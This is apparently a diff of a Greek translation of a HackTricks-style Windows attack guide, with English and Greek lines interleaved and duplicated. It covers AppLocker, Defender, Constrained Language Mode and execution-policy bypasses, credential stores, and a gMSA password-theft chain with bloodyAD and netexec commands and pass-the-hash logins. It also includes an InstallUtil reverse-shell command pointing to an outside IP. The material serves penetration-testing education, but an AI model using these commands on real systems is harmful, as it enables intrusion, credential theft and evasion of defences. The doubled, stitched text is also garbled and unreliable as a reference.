- Χρήσιμες **Εγγράψιμες φακέλους** για να παρακάμψετε την Πολιτική του AppLocker: Εάν το AppLocker επιτρέπει την εκτέλεση οτιδήποτε μέσα στο `C:\Windows\System32` ή `C:\Windows`, υπάρχουν **εγγράψιμοι φάκελοι** που μπορείτε να χρησιμοποιήσετε για να **παρακάμψετε αυτό**.
- Χρήσιμα **Writable folders** για να παρακάμψετε την AppLocker Policy: Εάν το AppLocker επιτρέπει την εκτέλεση οτιδήποτε μέσα στο `C:\Windows\System32` ή στο `C:\Windows`, υπάρχουν **writable folders** που μπορείτε να χρησιμοποιήσετε για να **παρακάμψετε αυτό**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Συνήθως **έμπιστοι** [**"LOLBAS's"**](https://lolbas-project.github.io/) δυαδικοί κωδικοί μπορεί να είναι επίσης χρήσιμοι για να παρακάμψουν το AppLocker.
- **Κακώς γραμμένοι κανόνες θα μπορούσαν επίσης να παρακαμφθούν**
- Για παράδειγμα, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, μπορείτε να δημιουργήσετε έναν **φάκελο με όνομα `allowed`** οπουδήποτε και θα επιτραπεί.
- Οι οργανισμοί συχνά επικεντρώνονται στο **να μπλοκάρουν το `%System32%\WindowsPowerShell\v1.0\powershell.exe` εκτελέσιμο**, αλλά ξεχνούν τις **άλλες** [**τοποθεσίες εκτελέσιμων PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως το `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή το `PowerShell_ISE.exe`.
- **Η επιβολή DLL σπάνια είναι ενεργοποιημένη** λόγω του επιπλέον φορτίου που μπορεί να επιφέρει σε ένα σύστημα, και της ποσότητας δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Έτσι, η χρήση **DLLs ως πίσω πόρτες θα βοηθήσει στην παράκαμψη του AppLocker**.
- Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε το AppLocker. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- Συνήθως **αξιόπιστα** [**"LOLBAS's"**] binaries μπορούν επίσης να βοηθήσουν στην παράκαμψη του AppLocker.
- **Κακώς γραμμένοι κανόνες μπορούν επίσης να παρακαμφθούν**
- Για παράδειγμα, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, μπορείτε να δημιουργήσετε έναν **φάκελο ονόματι `allowed`** οπουδήποτε και θα επιτρέπεται.
- Οι οργανισμοί συχνά επικεντρώνονται στο **μπλοκάρισμα του εκτελέσιμου `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, αλλά ξεχνούν τις **άλλες** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή `PowerShell_ISE.exe`.
- Η επιβολή DLL σπανίως ενεργοποιείται λόγω του πρόσθετου φόρτου που μπορεί να επιβάλει σε ένα σύστημα και του όγκου των δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Έτσι η χρήση **DLLs ως backdoors θα βοηθήσει στην παράκαμψη του AppLocker**.
- Μπορείτε να χρησιμοποιήσετε τους [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε Powershell** κώδικα σε οποιαδήποτε διεργασία και να παρακάμψετε το AppLocker. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Αποθήκευση Διαπιστευτηρίων
### Διαχειριστής Λογαριασμών Ασφαλείας (SAM)
### Security Accounts Manager (SAM)
Τα τοπικά διαπιστευτήρια είναι παρόντα σε αυτό το αρχείο, οι κωδικοί πρόσβασης είναι κατακερματισμένοι.
Τα τοπικά διαπιστευτήρια υπάρχουν σε αυτό το αρχείο, οι κωδικοί πρόσβασης είναι κατακερματισμένοι.
### Τοπική Αρχή Ασφαλείας (LSA) - LSASS
### Local Security Authority (LSA) - LSASS
Τα **διαπιστευτήρια** (κατακερματισμένα) **αποθηκεύονται** στη **μνήμη** αυτού του υποσυστήματος για λόγους Ενιαίας Σύνδεσης.\
Η **LSA** διαχειρίζεται την τοπική **πολιτική ασφαλείας** (πολιτική κωδικών πρόσβασης, δικαιώματα χρηστών...), **αυθεντικοποίηση**, **tokens πρόσβασης**...\
Η LSA θα είναι αυτή που θα **ελέγξει** τα παρεχόμενα διαπιστευτήρια μέσα στο **αρχείο SAM** (για τοπική σύνδεση) και θα **μιλήσει** με τον **ελεγκτή τομέα** για να αυθεντικοποιήσει έναν χρήστη τομέα.
Τα **διαπιστευτήρια** (κατακερματισμένα) **αποθηκεύονται** στη **μνήμη** αυτού του υποσυστήματος για λόγους Single Sign-On.\
Η **LSA** διαχειρίζεται την τοπική **πολιτική ασφαλείας** (πολιτική κωδικών, δικαιώματα χρηστών...), την **αυθεντικοποίηση**, τα **access tokens**...\
Η LSA θα είναι αυτή που θα **ελέγξει** για παρεχόμενα διαπιστευτήρια μέσα στο αρχείο **SAM** (για τοπική είσοδο) και θα **επικοινωνήσει** με τον **domain controller** για να αυθεντικοποιήσει έναν domain χρήστη.
Τα **διαπιστευτήρια** είναι **αποθηκευμένα** μέσα στη **διαδικασία LSASS**: εισιτήρια Kerberos, κατακερματισμοί NT και LM, εύκολα αποκρυπτογραφημένοι κωδικοί πρόσβασης.
Τα **διαπιστευτήρια** **αποθηκεύονται** μέσα στη διαδικασία **LSASS**: Kerberos tickets, NT και LM hashes, εύκολα αποκρυπτογραφούμενοι κωδικοί πρόσβασης.
### Μυστικά LSA
### LSA secrets
Η LSA θα μπορούσε να αποθηκεύσει στο δίσκο κάποια διαπιστευτήρια:
Η LSA μπορεί να αποθηκεύσει στον δίσκο ορισμένα διαπιστευτήρια:
- Κωδικός πρόσβασης του λογαριασμού υπολογιστή του Active Directory (μη προσβάσιμος ελεγκτής τομέα).
- Κωδικοί πρόσβασης των λογαριασμών υπηρεσιών Windows
- Κωδικοί πρόσβασης για προγραμματισμένα καθήκοντα
- Περισσότερα (κωδικός πρόσβασης εφαρμογών IIS...)
- Κωδικός πρόσβασης του λογαριασμού υπολογιστή του Active Directory (όταν ο domain controller δεν είναι προσβάσιμος).
- Κωδικοί πρόσβασης λογαριασμών υπηρεσιών Windows
- Κωδικοί πρόσβασης για προγραμματισμένες εργασίες
- Περισσότερα (π.χ. κωδικός πρόσβασης εφαρμογών IIS...)
### NTDS.dit
Είναι η βάση δεδομένων του Active Directory. Είναι παρούσα μόνο σε Ελεγκτές Τομέα.
Είναι η βάση δεδομένων του Active Directory. Παρουσιάζεται μόνο σε Domain Controllers.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο σε Windows 10 και Windows 11, και σε εκδόσεις Windows Server. **Μπλοκάρει** κοινά εργαλεία pentesting όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι για να **παρακαμφθούν αυτές οι προστασίες**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που διατίθεται στα Windows 10 και Windows 11, και σε εκδόσεις του Windows Server. Αυτό **μπλοκάρει** κοινά pentesting εργαλεία όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι να **παρακαμφθούν αυτές οι προστασίες**.
### Έλεγχος
@ -101,69 +101,104 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Encrypted File System (EFS)
## Κρυπτογραφημένο Σύστημα Αρχείων (EFS)
EFS secures files through encryption, utilizing a **symmetric key** known as the **File Encryption Key (FEK)**. This key is encrypted with the user's **public key** and stored within the encrypted file's $EFS **alternative data stream**. When decryption is needed, the corresponding **private key** of the user's digital certificate is used to decrypt the FEK from the $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
Το EFS προστατεύει αρχεία μέσω κρυπτογράφησης, χρησιμοποιώντας ένα **συμμετρικό κλειδί** γνωστό ως **File Encryption Key (FEK)**. Αυτό το κλειδί κρυπτογραφείται με το **δημόσιο κλειδί** του χρήστη και αποθηκεύεται στη $EFS **εναλλακτική ροή δεδομένων** του κρυπτογραφημένου αρχείου. Όταν χρειάζεται αποκρυπτογράφηση, το αντίστοιχο **ιδιωτικό κλειδί** του ψηφιακού πιστοποιητικού του χρήστη χρησιμοποιείται για να αποκρυπτογραφήσει το FEK από τη ροή $EFS. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Decryption scenarios without user initiation** include:
**Σενάρια αποκρυπτογράφησης χωρίς πρωτοβουλία χρήστη** περιλαμβάνουν:
- When files or folders are moved to a non-EFS file system, like [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), they are automatically decrypted.
- Encrypted files sent over the network via SMB/CIFS protocol are decrypted prior to transmission.
- Όταν αρχεία ή φάκελοι μετακινούνται σε μη-EFS σύστημα αρχείων, όπως [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκρυπτογραφούνται αυτόματα.
- Κρυπτογραφημένα αρχεία που αποστέλλονται μέσω δικτύου με το πρωτόκολλο SMB/CIFS αποκρυπτογραφούνται πριν την αποστολή.
This encryption method allows **transparent access** to encrypted files for the owner. However, simply changing the owner's password and logging in will not permit decryption.
Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** στα κρυπτογραφημένα αρχεία για τον κάτοχο. Ωστόσο, το απλό άλλαγμα του κωδικού του κατόχου και η σύνδεση δεν επιτρέπουν την αποκρυπτογράφηση.
**Key Takeaways**:
Κύρια σημεία:
- EFS uses a symmetric FEK, encrypted with the user's public key.
- Decryption employs the user's private key to access the FEK.
- Automatic decryption occurs under specific conditions, like copying to FAT32 or network transmission.
- Encrypted files are accessible to the owner without additional steps.
- Το EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη.
- Η αποκρυπτογράφηση χρησιμοποιεί το ιδιωτικό κλειδί του χρήστη για να αποκτήσει πρόσβαση στο FEK.
- Η αυτόματη αποκρυπτογράφηση συμβαίνει υπό συγκεκριμένες συνθήκες, όπως η αντιγραφή σε FAT32 ή η μετάδοση μέσω δικτύου.
- Τα κρυπτογραφημένα αρχεία είναι προσβάσιμα από τον κάτοχο χωρίς επιπλέον ενέργειες.
### Check EFS info
### Έλεγχος πληροφοριών EFS
Check if a **user** has **used** this **service** checking if this path exists:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
Ελέγξτε αν ένας **χρήστης** έχει **χρησιμοποιήσει** αυτήν την **υπηρεσία** ελέγχοντας αν υπάρχει το μονοπάτι:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
Check **who** has **access** to the file using cipher /c \<file>\
You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
Ελέγξτε **ποιος** έχει **πρόσβαση** στο αρχείο χρησιμοποιώντας cipher /c \<file>\. Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **κρυπτογραφήσετε** και να **αποκρυπτογραφήσετε** όλα τα αρχεία.
### Decrypting EFS files
### Αποκρυπτογράφηση αρχείων EFS
#### Being Authority System
#### Εκτέλεση ως Authority System
This way requires the **victim user** to be **running** a **process** inside the host. If that is the case, using a `meterpreter` sessions you can impersonate the token of the process of the user (`impersonate_token` from `incognito`). Or you could just `migrate` to process of the user.
Αυτή η μέθοδος απαιτεί ο **θιγόμενος χρήστης** να έχει **εκτελούμενη** μια **διαδικασία** στον κεντρικό υπολογιστή. Εάν συμβαίνει αυτό, χρησιμοποιώντας μια `meterpreter` συνεδρία μπορείτε να μιμηθείτε το token της διαδικασίας του χρήστη (`impersonate_token` από `incognito`). Εναλλακτικά, μπορείτε απλώς να `migrate` στη διαδικασία του χρήστη.
#### Knowing the users password
#### Γνωρίζοντας τον κωδικό του χρήστη
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
## Ομαδικοί Διαχειριζόμενοι Λογαριασμοί Υπηρεσίας (gMSA)
Microsoft developed **Group Managed Service Accounts (gMSA)** to simplify the management of service accounts in IT infrastructures. Unlike traditional service accounts that often have the "**Password never expire**" setting enabled, gMSAs offer a more secure and manageable solution:
Η Microsoft ανέπτυξε τους **Group Managed Service Accounts (gMSA)** για να απλοποιήσει τη διαχείριση των λογαριασμών υπηρεσιών σε υποδομές IT. Σε αντίθεση με τους παραδοσιακούς λογαριασμούς υπηρεσίας που συχνά έχουν ενεργοποιημένη τη ρύθμιση "**Password never expire**", τα gMSA προσφέρουν μια πιο ασφαλή και διαχειρίσιμη λύση:
- **Automatic Password Management**: gMSAs use a complex, 240-character password that automatically changes according to domain or computer policy. This process is handled by Microsoft's Key Distribution Service (KDC), eliminating the need for manual password updates.
- **Enhanced Security**: These accounts are immune to lockouts and cannot be used for interactive logins, enhancing their security.
- **Multiple Host Support**: gMSAs can be shared across multiple hosts, making them ideal for services running on multiple servers.
- **Scheduled Task Capability**: Unlike managed service accounts, gMSAs support running scheduled tasks.
- **Simplified SPN Management**: The system automatically updates the Service Principal Name (SPN) when there are changes to the computer's sAMaccount details or DNS name, simplifying SPN management.
- **Αυτόματη διαχείριση κωδικών**: Τα gMSA χρησιμοποιούν έναν σύνθετο, 240-χαρακτήρων κωδικό που αλλάζει αυτόματα σύμφωνα με την πολιτική του domain ή του υπολογιστή. Αυτή τη διαδικασία αναλαμβάνει η Key Distribution Service (KDC) της Microsoft, εξαλείφοντας την ανάγκη για χειροκίνητες ενημερώσεις κωδικών.
- **Ενισχυμένη ασφάλεια**: Αυτοί οι λογαριασμοί δεν υπόκεινται σε lockouts και δεν μπορούν να χρησιμοποιηθούν για interactive logins, ενισχύοντας την ασφάλειά τους.
- **Υποστήριξη πολλαπλών hosts**: Τα gMSA μπορούν να μοιραστούν σε πολλαπλούς hosts, καθιστώντας τα ιδανικά για υπηρεσίες που τρέχουν σε πολλαπλούς servers.
- **Δυνατότητα προγραμματισμένων εργασιών**: Σε αντίθεση με τους managed service accounts, τα gMSAs υποστηρίζουν την εκτέλεση προγραμματισμένων εργασιών.
- **Απλοποιημένη διαχείριση SPN**: Το σύστημα ενημερώνει αυτόματα το Service Principal Name (SPN) όταν υπάρχουν αλλαγές στις λεπτομέρειες sAMaccount του υπολογιστή ή στο DNS name, απλοποιώντας τη διαχείριση των SPN.
The passwords for gMSAs are stored in the LDAP property _**msDS-ManagedPassword**_ and are automatically reset every 30 days by Domain Controllers (DCs). This password, an encrypted data blob known as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), can only be retrieved by authorized administrators and the servers on which the gMSAs are installed, ensuring a secure environment. To access this information, a secured connection such as LDAPS is required, or the connection must be authenticated with 'Sealing & Secure'.
Οι κωδικοί για τα gMSA αποθηκεύονται στην ιδιότητα LDAP _**msDS-ManagedPassword**_ και επαναρυθμίζονται αυτόματα κάθε 30 ημέρες από τους Domain Controllers (DCs). Αυτός ο κωδικός, ένα κρυπτογραφημένο blob δεδομένων γνωστό ως [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), μπορεί να ανακτηθεί μόνο από εξουσιοδοτημένους διαχειριστές και από τους servers στους οποίους έχουν εγκατασταθεί τα gMSAs, εξασφαλίζοντας ένα ασφαλές περιβάλλον. Για να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες απαιτείται μια ασφαλής σύνδεση όπως LDAPS, ή η σύνδεση πρέπει να είναι authenticated με 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
Μπορείτε να διαβάσετε αυτόν τον κωδικό με [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
```
/GMSAPasswordReader --AccountName jkohler
```
[**Βρείτε περισσότερες πληροφορίες σε αυτή την ανάρτηση**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Επίσης, έλεγξε αυτή τη [web page](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσεις μια **NTLM relay attack** για να **read** το **password** του **gMSA**.
### Κατάχρηση ACL chaining για να read το managed password του gMSA (GenericAll -> ReadGMSAPassword)
Σε πολλά περιβάλλοντα, χρήστες με χαμηλά προνόμια μπορούν να pivot σε gMSA secrets χωρίς DC compromise εκμεταλλευόμενοι λανθασμένα διαμορφωμένα object ACLs:
- Μια ομάδα που μπορείς να ελέγξεις (π.χ. μέσω GenericAll/GenericWrite) έχει παραχωρηθεί `ReadGMSAPassword` πάνω σε ένα gMSA.
- Προσθέτοντας τον εαυτό σου σε αυτή την ομάδα, κληρονομείς το δικαίωμα να read το `msDS-ManagedPassword` blob του gMSA μέσω LDAP και να εξάγεις usable NTLM credentials.
Τυπική ροή εργασίας:
1) Ανακάλυψε τη διαδρομή με BloodHound και σήμανε τους foothold principals σου ως Owned. Ψάξε για ακμές όπως:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) Πρόσθεσε τον εαυτό σου στην ενδιάμεση ομάδα που ελέγχεις (παράδειγμα με bloodyAD):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) Ανάγνωση του διαχειριζόμενου κωδικού gMSA μέσω LDAP και παραγωγή του NTLM hash. Το NetExec αυτοματοποιεί την εξαγωγή του `msDS-ManagedPassword` και τη μετατροπή σε NTLM:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) Πιστοποιηθείτε ως το gMSA χρησιμοποιώντας το NTLM hash (δεν απαιτείται plaintext). Αν ο λογαριασμός είναι στους Remote Management Users, το WinRM θα λειτουργήσει απευθείας:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Notes:
- Οι LDAP αναγνώσεις του `msDS-ManagedPassword` απαιτούν sealing (e.g., LDAPS/sign+seal). Τα εργαλεία το χειρίζονται αυτό αυτόματα.
- Οι gMSAs συχνά λαμβάνουν τοπικά δικαιώματα όπως WinRM· επαληθεύστε τη συμμετοχή σε ομάδες (e.g., Remote Management Users) για να σχεδιάσετε lateral movement.
- Αν χρειάζεστε μόνο το blob για να υπολογίσετε μόνοι σας το NTLM, δείτε τη δομή MSDS-MANAGEDPASSWORD_BLOB.
Επίσης, ελέγξτε αυτή τη [σελίδα](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσετε μια **επίθεση NTLM relay** για να **διαβάσετε** τον **κωδικό πρόσβασης** του **gMSA**.
## LAPS
Η **Λύση Κωδικού Πρόσβασης Τοπικού Διαχειριστή (LAPS)**, διαθέσιμη για λήψη από [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), επιτρέπει τη διαχείριση των κωδικών πρόσβασης τοπικών διαχειριστών. Αυτοί οι κωδικοί πρόσβασης, οι οποίοι είναι **τυχαίοι**, μοναδικοί και **τακτικά αλλάζουν**, αποθηκεύονται κεντρικά στο Active Directory. Η πρόσβαση σε αυτούς τους κωδικούς πρόσβασης περιορίζεται μέσω ACLs σε εξουσιοδοτημένους χρήστες. Με επαρκείς άδειες, παρέχεται η δυνατότητα ανάγνωσης των κωδικών πρόσβασης τοπικών διαχειριστών.
Το **Local Administrator Password Solution (LAPS)**, διαθέσιμο για λήψη από [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), επιτρέπει τη διαχείριση των κωδικών του τοπικού Administrator. Αυτοί οι κωδικοί, οι οποίοι είναι **τυχαίοι**, μοναδικοί και **αλλάζουν τακτικά**, αποθηκεύονται κεντρικά στο Active Directory. Η πρόσβαση σε αυτούς τους κωδικούς περιορίζεται μέσω ACLs σε εξουσιοδοτημένους χρήστες. Εφόσον χορηγηθούν επαρκή δικαιώματα, παρέχεται η δυνατότητα ανάγνωσης των τοπικών κωδικών διαχειριστή.
{{#ref}}
../active-directory-methodology/laps.md
@ -171,34 +206,34 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz
## PS Constrained Language Mode
Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **κλειδώνει πολλές από τις δυνατότητες** που απαιτούνται για τη χρήση του PowerShell αποτελεσματικά, όπως η μπλοκάρισμα COM αντικειμένων, η επιτρεπόμενη μόνο χρήση εγκεκριμένων τύπων .NET, ροές εργασίας βασισμένες σε XAML, κλάσεις PowerShell και άλλα.
Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **περιορίζει πολλές από τις δυνατότητες** που χρειάζονται για την αποτελεσματική χρήση του PowerShell, όπως το μπλοκάρισμα αντικειμένων COM, η επιτρεπόμενη χρήση μόνο εγκεκριμένων τύπων .NET, ροών εργασίας βασισμένων σε XAML, κλάσεων PowerShell, και άλλα.
### **Έλεγχος**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Παράκαμψη
### Bypass
```bash
#Easy bypass
Powershell -version 2
```
Στα τρέχοντα Windows, αυτή η παράκαμψη δεν θα λειτουργήσει, αλλά μπορείτε να χρησιμοποιήσετε [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Για να το μεταγλωττίσετε, μπορεί να χρειαστεί** **να** _**Προσθέσετε μια Αναφορά**_ -> _Περιήγηση_ -> _Περιήγηση_ -> προσθέστε `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` και **να αλλάξετε το έργο σε .Net4.5**.
Στα τρέχοντα Windows αυτό το Bypass δεν θα λειτουργήσει αλλά μπορείτε να χρησιμοποιήσετε[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Για να το μεταγλωττίσετε ίσως χρειαστεί** **να** _**Προσθέσετε Αναφορά**_ -> _Περιήγηση_ ->_Περιήγηση_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **change the project to .Net4.5**.
#### Άμεση παράκαμψη:
#### Άμεσο Bypass:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
#### Αντίστροφη θήκη:
#### Reverse shell:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε τη περιορισμένη λειτουργία. Για περισσότερες πληροφορίες, ελέγξτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS Execution Policy
Από προεπιλογή είναι ρυθμισμένο σε **restricted.** Οι κύριοι τρόποι για να παρακάμψετε αυτή την πολιτική:
Κατά προεπιλογή είναι ρυθμισμένο σε **restricted.** Κύριοι τρόποι για να bypass αυτή την πολιτική:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -218,35 +253,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
Περισσότερα μπορείτε να βρείτε [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Security Support Provider Interface (SSPI)
## Διεπαφή παρόχου υπηρεσιών ασφαλείας (SSPI)
Είναι το API που μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση χρηστών.
Είναι το API που μπορεί να χρησιμοποιηθεί για την πιστοποίηση χρηστών.
Το SSPI θα είναι υπεύθυνο για την εύρεση του κατάλληλου πρωτοκόλλου για δύο μηχανές που θέλουν να επικοινωνήσουν. Η προτιμώμενη μέθοδος γι' αυτό είναι το Kerberos. Στη συνέχεια, το SSPI θα διαπραγματευτεί ποιο πρωτόκολλο αυθεντικοποίησης θα χρησιμοποιηθεί, αυτά τα πρωτόκολλα αυθεντικοποίησης ονομάζονται Security Support Provider (SSP), βρίσκονται μέσα σε κάθε μηχανή Windows με τη μορφή DLL και και οι δύο μηχανές πρέπει να υποστηρίζουν το ίδιο για να μπορέσουν να επικοινωνήσουν.
Το SSPI αναλαμβάνει να βρει το κατάλληλο πρωτόκολλο για δύο μηχανήματα που θέλουν να επικοινωνήσουν. Η προτιμώμενη μέθοδος για αυτό είναι το Kerberos. Στη συνέχεια το SSPI θα διαπραγματευτεί ποιο πρωτόκολλο αυθεντικοποίησης θα χρησιμοποιηθεί — αυτά τα πρωτόκολλα ονομάζονται Security Support Provider (SSP), υπάρχουν σε κάθε σύστημα Windows με τη μορφή DLL και και τα δύο μηχανήματα πρέπει να υποστηρίζουν το ίδιο για να μπορούν να επικοινωνήσουν.
### Main SSPs
### Κύρια SSPs
- **Kerberos**: Το προτιμώμενο
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** και **NTLMv2**: Λόγοι συμβατότητας
- **NTLMv1** and **NTLMv2**: Για λόγους συμβατότητας
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web servers και LDAP, κωδικός πρόσβασης με τη μορφή MD5 hash
- **Digest**: Διακομιστές web και LDAP, ο κωδικός σε μορφή MD5 hash
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL και TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί το πρωτόκολλο που θα χρησιμοποιηθεί (Kerberos ή NTLM με το Kerberos να είναι το προεπιλεγμένο)
- **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί ποιο πρωτόκολλο θα χρησιμοποιηθεί (Kerberos ή NTLM, με προεπιλογή το Kerberos)
- %windir%\Windows\System32\lsasrv.dll
#### The negotiation could offer several methods or only one.
#### Η διαπραγμάτευση μπορεί να προσφέρει πολλαπλές μεθόδους ή μόνο μία.
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που ενεργοποιεί ένα **prompt συγκατάθεσης για ανυψωμένες δραστηριότητες**.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια λειτουργία που εμφανίζει μια **προτροπή συγκατάθεσης για ενέργειες με αυξημένα δικαιώματα**.
{{#ref}}
uac-user-account-control.md
{{#endref}}
## Αναφορές
- [Relaying for gMSA cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
- [HTB Sendai 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}